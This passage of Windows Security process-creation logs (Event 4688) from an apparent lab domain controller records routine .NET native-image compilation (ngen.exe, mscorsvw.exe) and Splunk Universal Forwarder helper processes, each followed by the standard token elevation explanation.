Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:10:05 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255398
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x640
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent b98 -InterruptEvent 0 -NGENProcess 9c0 -Pipe b88 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:10:05 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255397
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10a8
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent b7c -InterruptEvent 0 -NGENProcess 9c0 -Pipe a50 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:10:05 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255396
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1394
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 9c0 -InterruptEvent 0 -NGENProcess b9c -Pipe b94 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:10:05 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255395
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa98
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent b9c -InterruptEvent 0 -NGENProcess 9c0 -Pipe b64 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:10:06 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255410
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x35c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent bd8 -InterruptEvent 0 -NGENProcess bd0 -Pipe bd4 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:10:06 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255409
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10e8
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent b74 -InterruptEvent 0 -NGENProcess b98 -Pipe bb8 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:10:06 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255408
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x138c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent b98 -InterruptEvent 0 -NGENProcess 9c0 -Pipe bc4 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:10:06 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255407
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa2c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent b74 -InterruptEvent 0 -NGENProcess 9c0 -Pipe b5c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:10:06 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255406
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe48
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent ba4 -InterruptEvent 0 -NGENProcess 9c0 -Pipe b8c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:10:06 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255405
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc30
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent b9c -InterruptEvent 0 -NGENProcess 9c0 -Pipe ba0 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:10:06 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255404
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x9ec
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent b10 -InterruptEvent 0 -NGENProcess 9c0 -Pipe ba8 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:10:06 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255403
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xec0
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 9c0 -InterruptEvent 0 -NGENProcess b98 -Pipe bac -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:10:06 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255402
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xed0
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent b10 -InterruptEvent 0 -NGENProcess b98 -Pipe bb0 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:10:06 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255401
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc88
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent ba4 -InterruptEvent 0 -NGENProcess b98 -Pipe b84 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:10:07 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255411
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1380
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x10b0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe" RemoveTaskBootTrigger /LegacyServiceBehavior

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:10:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255412
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x718
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:10:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255413
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x4a8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:10:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255414
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x58c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:10:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255415
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
